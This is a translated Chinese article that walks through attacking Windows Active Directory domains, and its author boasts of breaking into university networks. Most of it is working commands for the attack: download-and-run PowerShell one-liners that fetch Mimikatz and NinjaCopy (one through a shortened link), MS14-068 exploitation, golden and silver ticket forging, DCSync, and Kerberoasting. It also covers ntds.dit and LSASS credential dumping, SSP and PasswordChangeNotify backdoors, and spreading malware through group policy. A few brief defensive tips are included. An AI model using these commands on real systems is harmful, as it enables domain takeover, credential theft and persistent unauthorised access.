本文是翻译文章
译文仅供参考,具体内容表达以及含义原文为准。
在没工作之前我常年搞各种高校的网络,边界口漏洞多容易进入而内网机器环境多不严格真是内网渗透的好地方,最后被誉为”学校杀手”,之前搞学校方法简单而粗爆很多内网常识都不懂就是各种扫,反正学校管理员的密码都是一样的就算不是域控密码基本都是一样,就算密码不是一样都是有规律。不过没有任何目的就是一味着登录各种系统的快感,输入密码按下回车键进入的快感。
信息收集
网上各种前期信息收集的文章各种net view之类的这里就不贴了。
一般想知道哪一台是域控知道自己内网的DNS就可以了,一般域控安装都有安装DNS有些不止一台,其次是通过扫描获取开放端口为389机器或者使用nltest命令查看。最后就是各种net view查看域控是哪台主机
nltest /DCLIST:pentest.com
这里利用PowerTools中的PowerView信息收集其实很多功能都是net命令这里只是以PowerShell方式实现
Powershell.exe -Nop -NonI -Exec Bypass "IEX (New.ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1');Get-HostIP"
更详细参考:域渗透信息收集PowerTools
Get-NetDomain - gets the name of the current user's domain
Get-NetForest - gets the forest associated with the current user's domain
Get-NetForestDomains - gets all domains for the current forest
Get-NetDomainControllers - gets the domain controllers for the current computer's domain
Get-NetCurrentUser - gets the current [domain\]username
Get-NetUser - returns all user objects, or the user specified (wildcard specifiable)
Get-NetUserSPNs - gets all user ServicePrincipalNames
Get-NetOUs - gets data for domain organization units
Get-NetGUIDOUs - finds domain OUs linked to a specific GUID
Invoke-NetUserAdd - adds a local or domain user
Get-NetGroups - gets a list of all current groups in the domain
Get-NetGroup - gets data for each user in a specified domain group
Get-NetLocalGroups - gets a list of localgroups on a remote host or hosts
Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts
Get-NetLocalServices - gets a list of running services/paths on a remote host or hosts
Invoke-NetGroupUserAdd - adds a user to a specified local or domain group
Get-NetComputers - gets a list of all current servers in the domain
Get-NetFileServers - get a list of file servers used by current domain users
Get-NetShare - gets share information for a specified server
Get-NetLoggedon - gets users actively logged onto a specified server
Get-NetSessions - gets active sessions on a specified server
Get-NetFileSessions - returned combined Get-NetSessions and Get-NetFiles
Get-NetConnections - gets active connections to a specific server resource (share)
Get-NetFiles - gets open files on a server
Get-NetProcesses - gets the remote processes and owners on a remote server
获取域方法
SYSVOL
SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。
使用Group Policy Preferences配置组策略批量修改用户本地管理员密码
开始->管理工具->组策略管理->在这个域中创建GPO
设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组
更新Administrator密码:
域服务器一般都会共享这个文件夹,或者搜索当前机器下的XML文件将包含凭据:groups.xml、scheduledtasks.xml、Services.xml、datasources.xml。
映射驱动(Drives.xml)
数据源(DataSources.xml)
打印机配置(Printers.xml)
创建/更新服务(Services.xml)
计划任务(ScheduledTasks.xml)
由于经过身份验证的用户(任何域用户或受信任域中的用户)具有对SYSVOL的读取权限
\192.168.50.205sysvolpentest.comPolicies{84017B64-2662-4BA3-A06C-FB953CCBE92D}UserPreferencesGroups.xml
经过AES-256位加密
cpassword="fUCMHAw9I2PdYRZEBMS54IvtPHX3ni44qRkWtfBtxoA"
可以使用AES私钥解密GPP密码
微软在MSDN上发布了AES加密密钥(共享密钥)
https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx
使用PowerShell脚本解密
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
Windows Server 2008 R2之四管理Sysvol文件夹
防:
- 在用于管理GPO的计算机上安装KB2962486,以防止将新凭据置于组策略首选项中。
- 设置Everyone访问权限
- 不在组策略中使用域控密码
- 设置共享文件夹SYSVOL的访问权限
- 删除现有的GPP里包含密码的xml文件。
MS14-068 Kerberos
Kerberos是西方神话中守卫地狱之门的三头犬的名字。只所以使用这个名字是因为Kerberos需要三方的共同参与,才能完成一次事务处理。
Kerberos 是Windows活动目录中使用的客户/服务器认证协议,为通信双方提供双向身份认证。相互认证或请求服务的实体被称为委托人(principal)。参与的中央服务器被称为密钥分发中心(简称KDC)。KDC有两个服务组成:身份验证服务(Authentication Server,简称AS)和票据授予服务(Ticket Granting Server,简称TGS)。在Windows域环境下,身份验证服务和票据授予服务可同时运行在任何可写域控服务器上。
更多阅读:
最根本的问题在于权限属性证书可以被伪造,权限属性证书中存储帐号用户名、ID、组成员等信息,掌握域用户一些基本信息就可以获取域管理员权限
攻击者可以有效地重写有效的Kerberos TGT身份验证票据,使其成为域管理员(和企业管理员)
https://github.com/bidord/pykek/archive/master.zip
https://github.com/gentilkiwi/mimikatz/releases/
apt-get install krb5-user
apt-get install rdate
MS14-068过程:
- 请求没有PAC的Kerberos TGT认证票据作为标准用户,DC回复TGT
- 生成一个伪造的PAC,没有密钥,所以生成的PAC使用域用户的密码数据用MD5算法而不是HMAC_MD5“签名”。
- 作为TGS服务票据请求的一部分,使用伪造的PAC作为授权数据发送无PAC的TGT到DC。
- DC似乎被这个混淆了,所以它放弃了用户发送的不含PAC的TGT,创建一个新的TGT,并将伪造的PAC插入到它自己的授权数据中,并将这个TGT发送给用户。
- 这个伪造PAC的TGT使得用户可以成为易受攻击的DC上的域管理员。
whoami /user
python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机
产生缓存的票据,在当前Kali下生成之后再放到域用户机器中
利用mimikatz工具将得到的TGT_domainuser@SERVER.COM.ccache写入内存,创建缓存证书:
mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit
klist 查看
net use k: \pentest.comc$
dir k:
相关资料:
防:
安装检查KB3011780的安装
SPN扫描
Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据,无需向目标系统发送任何数据包
SPN 是服务在使用 Kerberos 身份验证的网络上的唯一标识符。 它由服务类、主机名和端口组成。 在使用 Kerberos 身份验证的网络中,必须在内置计算机帐户(如 NetworkService 或 LocalSystem)或用户帐户下为服务器注册 SPN。 对于内置帐户,SPN 将自动进行注册。 但是,如果在域用户帐户下运行服务,则必须为要使用的帐户手动注册 SPN。
SPN扫描的主要好处是,SPN扫描不需要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现,spn查询是kerberos票据行为一部分,因此比较难检测SPN扫描。
powershell -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PyroTek3/PowerShell-AD-Recon/master/Discover-PSMSSQLServers'); Discover-PSMSSQLServers"
Import-Module .Get-SQLServerAccess.psm1
PS C:Get-SqlServer-Escalate-CheckAccess
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomainmyuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
通过LDAP从ADS获取SQL Server的列表,然后试图用当前域用户登陆每一个SQL Server。这次将输出到CSV文件中。
PS C:Get-SQLServerAccess -ShowSum | export-csv c:tempsql-server-excessive-privs.csv
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomainmyuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
弱口令猜解
Get-SQLServerAccess -sqluser sa -sqlpass 123qwe!@#
寻找敏感数据
Get-SQLServerAccess -query "select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1"
更多参考:
相关资料:
Kerberos黄金门票
https://adsecurity.org/?p=1640
深刻理解windows安全认证机制ntlm & Kerberos
Kerberos身份验证流程
- 密码转换为NTLM哈希值,时间戳使用散列加密,并作为身份验证票据(TGT)请求(AS-REQ)中的身份验证器发送给KDC。
- 域控制器(KDC)检查用户信息(登录限制,组成员身份等)并创建票证授予票证(TGT)。
- TGT被加密,签名并交付给用户(AS-REP)。只有域中的Kerberos服务(KRBTGT)才能打开并读取TGT数据。
- 用户在申请票证授予服务(TGS)票证(TGS-REQ)时向TG提交TGT。DC打开TGT并验证PAC校验和 – 如果DC可以打开票证和校验和签出,则TGT =有效。TGT中的数据被有效地复制来创建TGS票据。
- 使用目标服务帐户的NTLM密码散列对TGS进行加密并发送给用户(TGS-REP)。
- 用户在适当的端口上连接到托管服务的服务器并呈现TGS(AP-REQ)。该服务使用其NTLM密码散列打开TGS票证。
其实可以说是一种后门而不是什么漏洞。
黄金票据是伪造TGT,可以获取任何Kerberos服务权限,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。
Kerberos黄金票证是有效的TGT Kerberos票证,因为它是由域Kerberos帐户(KRBTGT)加密/签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的事实证明它是有效的
利用条件:
1.普通域用户
2.krbtgt ntlm hash
3.域SID
在域上抓取hash
lsadump::dcsync /domain:pentest.com /user:krbtgt
kerberos::purge
kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 /ticket:adinistrator.kiribi
kerberos::ptt administrator.kiribi
kerberos::tgt
net use k: \pentest.comc$
Kerberos银票务
https://www.feiworks.com/wy/drops/域渗透——Pass%20The%20Ticket.pdf
黄金票据和白银票据的一些区别:
Golden Ticket: 伪造TGT,可以获取任何Kerberos服务权限
Silver Ticket: 伪造TGS,只能访问指定的服务
加密方式不同:
Golden Ticket 由krbtgt的hash加密
Silver Ticket 由服务账号(通常为计算机账户)Hash加密
认证流程不同:
Golden Ticket在使用的过程需要同域控通信
Silver Ticket在使用的过程不需要同域控通信
用户在适当的端口上连接到托管服务的服务器并呈现TGS(AP-REQ)。该服务使用其NTLM密码散列打开TGS票证。
与域控制器没有AS-REQ / AS-REP(步骤1和2),也没有TGS-REQ / TGS-REP(步骤3和4)通信。由于银票是伪造的TGS,所以没有与域控制器通信。
银票是伪造的Kerberos票证授予服务(TGS)票据,也称为服务票据。
域上获取信息
mimikatz log "sekurlsa::logonpasswords"
首先需要获得如下信息:
/domain
/sid
/target:目标服务器的域名全称,此处为域控的全称
/service:目标服务器上面的kerberos服务,此处为cifs
/rc4:计算机账户的NTLM hash,域控主机的计算机账户
/user:要伪造的用户名,此处可用silver测试
mimikatz.exe "kerberos::golden /domain:域 /sid:SID /target:域全称 /service:要访问的服务 /rc4:NTLM /user:silver /ptt"
就可以访问域的cifs共享,访问其它是不行的,Silver Ticket是伪造的TGS,也就是说其范围有限,只能访问指定的服务权限
域服务账号破解
与上面SPN扫描类似的原理
https://github.com/nidem/kerberoast
获取所有用作SPN的帐户
setspn -T PENTEST.com -Q */*
从Mimikatz的ram中提取获得的门票
kerberos::list /export
用rgsrepcrack破解
tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
没复现成功
凭证盗窃
最常用的手法域管理登录历史记录,记得获取某边界权限一个然后抓取hash并没有域管理的,可能是搞的动静有点大,管理员第二天上去把马给清除了,还好留了有后门再次抓取hash直接获取到域管理员。
大多数Active Directory管理员使用用户帐户登录到其工作站,然后使用RunAs(将其管理凭据放置在本地工作站上)或RDP连接到服务器运行Mimikatz 读取密码,收集密码尝试登录管理员机器一般只要域管理员登录过的机器抓取都可以获取域控了
防: 管理员不应该拿着域用户去登录web服务器或者邮件服务器一但这些被攻破抓取的密码就是域了
ARP
最后才是ARP欺骗不到最后不要拿出来。
Responder
cain
ettercap
BDFProxy
获取AD Hash
活动目录数据库(ntds.dit)
Active Directory域数据库存储在ntds.dit文件中(默认存储在c:WindowsNTDS中,AD数据库是Jet数据库引擎,它使用提供数据存储和索引服务的可扩展存储引擎(ESE)ESE级索引使对象属性可以快速定位。ESE确保数据库符合ACID(原子性,一致性,隔离性和持久性) – 交易中的所有操作完成或不执行。AD ESE数据库非常快速和可靠。
ntds.dit文件由三个主表组成:数据表,链接表和SD表。
具体详细资料查看:
https://technet.microsoft.com/en-us/library/cc772829(v=ws.10).aspx
使用VSS卷影副本
什么是卷影副本?
卷影副本,也称为快照,是存储在 Data Protection Manager (DPM) 服务器上的副本的时间点副本。副本是文件服务器上单个卷的受保护共享、文件夹和文件的完整时间点副本。
支持操作系统:
Windows Server 2003, Windows Server 2008, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012, Windows 8
通常拿下一台服务器时准备内网渗透,需要传你的工具到目标机器中,而且是长久渗透的这种,为了不被发现!获取系统SAM文件等
使用VSS卷影副本(通过WMI或PowerShell远程处理)远程提取ntds.dit
Windows有一个名为WMI的内置管理组件,支持远程执行(需要管理员权限)。WMIC是在远程计算机上执行命令的WMI命令工具。
利用WMIC(或PowerShell远程处理)创建(或复制现有的)VSS。
wmic /node:AD /user:PENTESTAdministrator /password:123qweQWE!@# process call create "cmd /c vssadmin create shadow /for=c: 2>&1 > c:vss.log"
查看vss.log
wmic /node:AD /user:PENTESTadministrator /password:123qwe!@#!@# process call create "cmd /c copy 卷影IDWindowsNTDSNTDS.dit C:windowstempNTDS.dit 2>&1"
wmic /node:AD /user:PENTESTadministrator /password:123qwe!@# process call create "cmd /c copy 卷影IDWindowsSystem32configSYSTEM c:windowstempSYSTEM.hive 2>&1"
net use k: \pentest.comc$
利用这种方法可以和上面的Kerberos票结合来实现
使用DIT Snapshot Viewer可以验证我们是否成功地获得了ntds.dit文件。
https://github.com/yosqueoy/ditsnap
NTDSUtil获取ntds.dit文件
Ntdsutil.exe是一个为Active Directory提供管理设施的命令行工具。
使用NTDSUTIL的IFM创建(VSS卷影副本)在DC上本地引用ntds.dit
NTDSUtil是本地处理AD DB的命令实用程序(ntds.dit),并为DCPromo启用IFM集创建。IFM与DCPromo一起用于“从媒体安装”,因此被升级的服务器不需要通过网络从另一个DC复制域数据。
ntdsutil "ac i ntds" "ifm" "create full c:temp" q q
当创建一个IFM时,VSS快照被拍摄,挂载,ntds.dit文件和相关数据被复制到目标文件夹中。
此命令也可以通过WMI或PowerShell远程执行。
PowerShell提取ntds.dit
使用PowerSploit的Invoke-NinjaCopy远程提取ntds.dit(需要在目标DC上启用PowerShell远程处理功能)。
Invoke-NinaCopy是一个PowerShell函数,它可以利用PowerShell远程处理(必须在目标DC上启用PowerShell远程处理),从远程计算机上复制文件(即使文件已锁定,可直接访问文件)。
https://github.com/PowerShellMafia/PowerSploit
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1'); Invoke-NinjaCopy -Path "C:windowsntdsntds.dit" -ComputerName "AD" -LocalDestination "C:tempntds.dit"
使用Mimikatz提取
使用Mimikatz在提取Active Directory hash
mimikatz lsadump::lsa /inject exit
使用RID 502的帐户是KRBTGT帐户,使用RID 500的帐户是域的默认管理员。
获取对Active Directory数据库文件的访问权限(ntds.dit)
Active Directory数据库(ntds.dit)包含有关Active Directory域中所有对象的所有信息
该文件还包含所有域用户和计算机帐户的密码哈希值。
有时候域控升级等会把ntds.dit备份文件可从共享服务器中找到可以不用直接从域控制复制
使用Mimikatz转储LSASS内存
sekurlsa::minidump c:templsass.dmp
使用任务管理器(获取域管理员凭据)转储LSASS内存
使用PowerShell Mimikatz
使用PowerShell
域必需要能上网否则这方法不可用
powershell IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject" exit'
无程获取
Powershell IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -Command ‘”privilege::debug” “LSADump:LSA /inject”‘ -Computer pentest.com
Mimikatz的DCSync
使用Mimikatz的DCSync 远程转储Active Directory凭证
它有效地”模拟”域控制器并向目标域控制器请求帐户密码数据。
使用Mimikatz的DCSync和相应的权限,攻击者可以通过网络从域控制器中提取密码散列以及以前的密码散列,而无需交互式登录或复制Active Directory数据库文件(ntds.dit)
运行DCSync需要特殊权限。管理员,域管理员或企业管理员以及域控制器计算机帐户的任何成员都能够运行DCSync来提取密码数据。请注意,只读域控制器不仅可以默认为用户提取密码数据。
提取 KRBTGT用户帐户的密码数据:
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit
管理员用户帐户提取密码数据:
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit
NTDS.dit中提取哈希
从NTDS.dit中提取哈希
提取出来的文件通过ntdsdump是无法提取的通过esedbexport来恢复。
安装:
wget https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz`
apt-get install autoconf automake autopoint libtool pkg-config
./configure
make
make install
ldconfig
esedbexport -m tables ntds.dit
大概需要(20-30分钟)
最后生成在./ntds.dit.export/
使用ntdsxtract提取域信息
git clone https://github.com/csababarta/ntdsxtract.git
python setup.py build && python setup.py install
提取hash: (这里需要将刚拷出来的三个文件中的system复制到当前目录下)
$ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user_info.txt
这样提取出来之后已经是转换成hashcat可破解的格式
hashcat -m 1000 ntout ./password.txt
AD持久化
活动目录持久性技巧
https://adsecurity.org/?p=1929
DSRM密码同步
DSRM密码同步将域控权限持久化
获取到域控权限后如何利用DSRM密码同步将域管权限持久化。
Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。
KB961320
巧用DSRM密码同步将域控权限持久化
http://drops.xmd5.com/static/drops/tips-9297.html
同步之后使用法国佬神器(mimikatz)查看krbtgt用户和SAM中Administrator的NTLM值。
可以看到两个账户的NTLM值相同,说明确实同步成功
修改注册表允许DSRM账户远程访问
修改注册表 hkey_local_machineSystemCurrentControlSetControlLsa 路径下的 DSRMAdminLogonBehavior 的值为2。
系统默认不存在DSRMAdminLogonBehavior,请手动添加。
使用HASH远程登录域控
DSRM账户是域控的本地管理员账户,并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。
事件查看器的安全事件中筛选事件ID为4794的事件日志,来判断域管是否经常进行DSRM密码同步操作。
缓解措施
对于这个问题的唯一有效的缓解措施就是确保每一台域控制器的DSRM账户密码是唯一的并且定期修改此密码。同时,确保注册表DsrmAdminLogonBehavior的值不为2,最好将其直接删除或者设置其值为1或0。
Security Support Provider
https://adsecurity.org/?p=1760
http://www.evil0x.com/posts/11354.html
直译为安全支持提供者 又名Security Package.
简单的理解为SSP就是一个DLL,用来实现身份认证
将mimilib.dll复制到域控c:/windows/system32下
设置SSP
修改域控注册表位置:
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/
Memory Updating of SSPs
privilege::debug
misc::memssp
这样就不需要重启
c:/windows/system32可看到新生成的文件kiwissp.log
如果不是在域环境下生成的文件会在 system32mimilsa.log
防:
检测注册表位置:
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/
检测%windir%/System32是否有可疑dll
SID历史
https://adsecurity.org/?p=1772
SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户
mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator"
AdminSDHolder&SDProp
利用AdminSDHolder&SDProp(重新)获取域管理权限
https://adsecurity.org/?p=1906
AdminSDHolder是位于Active Directory中的系统分区
组策略
https://adsecurity.org/?p=2716
组策略概述
组策略使管理员能够管理Active Directory中的计算机和用户。组策略保存为组策略对象(GPO)
攻击者可以滥用GPO,通过欺诈方式进一步自动化地传播恶意软件、实现持久化驻留目的
恶意软件可以利用GPO穿越IDS/IPS等防火墙,最终访问到域内所有的系统。
GPO的另一优点就是攻击过程期间并不需要目标系统在线,一旦离线状态下的目标系统重新登录到域中,恶意的GPO载荷就会被投递到目标系统。
组策略默认情况下每90分钟(域控制器5分钟)可包括安全选项,注册表项,软件安装以及启动和关闭脚本以及域成员刷新组策略设置。这意味着组策略在目标计算机上执行配置的设置。
SYSVOL是所有经过身份验证的用户具有读取权限的Active Directory中的域范围共享。SYSVOL包含登录脚本,组策略数据以及其他域控制器中需要使用的全域数据。
SYSVOL共享将自动同步并在所有域控制器之间共享。
其实我认为组策略也相当于远控,可以把配置脚本让域内的每一台电脑都种上马批量执行一遍。
或者每周在所有域上运行Mimikatz获取明文密码,以及获取某种类型文件这要通过编写脚本实现。
远程搜索某个本地文件(如proof.txt)
Get-Content <list of IPs> | ForEach-Object {Getwmiobject CIM_DataFile -filter »Drive=’c:’ AND Filename=’proof’ AND extension=’txt’ -Impersonate 3 -computername $_ | Select PSComputername, Name -Unique}
一篇文章精通PowerShell Empire 2.3(上)
防:
定期审核GPO。
为GPO使用定义清晰的命名约定
记录GPO的创建动作
Hook PasswordChangeNotify
http://wooyun.jozxing.cc/static/drops/tips-13079.html
介绍一个更加隐蔽且不需要使用Mimikatz的后门方法,通过Hook PasswordChangeNotify拦截修改的帐户密码。
在修改域控密码时会进行如下同步操作:
a. 当修改域控密码时,LSA首先调用PasswordFileter来判断新密码是否符合密码复杂度要求
b. 如果符合,LSA接着调用PasswordChangeNotify在系统上同步更新密码
函数PasswordChangeNotify存在于rassfm.dll
poc下载地址:
https://github.com/clymb3r/Misc-Windows-Hacking
使用VS2015开发环境,MFC设置为在静态库中使用MFC
编译工程,生成HookPasswordChange.dll
下载Powershell的dll注入脚本
https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
在代码尾部添加如下代码:
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll –procname lsass
并命名为HookPasswordChangeNotify.ps1
上传HookPasswordChangeNotify.ps1和HookPasswordChange.dll
管理员权限执行:
PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1
将获取到的密码上传到http服务器:
http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html